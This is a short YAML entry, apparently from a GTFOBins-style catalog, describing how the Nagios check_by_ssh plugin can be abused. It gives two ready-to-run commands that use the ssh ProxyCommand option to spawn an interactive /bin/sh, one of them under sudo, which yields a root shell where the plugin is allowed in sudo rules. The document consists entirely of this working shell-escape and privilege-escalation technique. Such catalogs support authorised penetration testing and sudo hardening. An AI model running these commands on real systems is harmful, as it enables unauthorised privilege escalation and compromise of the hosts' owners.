--- description: | This is the `check_by_ssh` Nagios plugin, available e.g. in `/usr/lib/nagios/plugins/`. functions: shell: - description: The shell will only last 10 seconds. code: check_by_ssh -o "ProxyCommand /bin/sh -i <$(tty) |& tee $(tty)" -H localhost -C xx sudo: - description: The shell will only last 10 seconds. code: sudo check_by_ssh -o "ProxyCommand /bin/sh -i <$(tty) |& tee $(tty)" -H localhost -C xx ---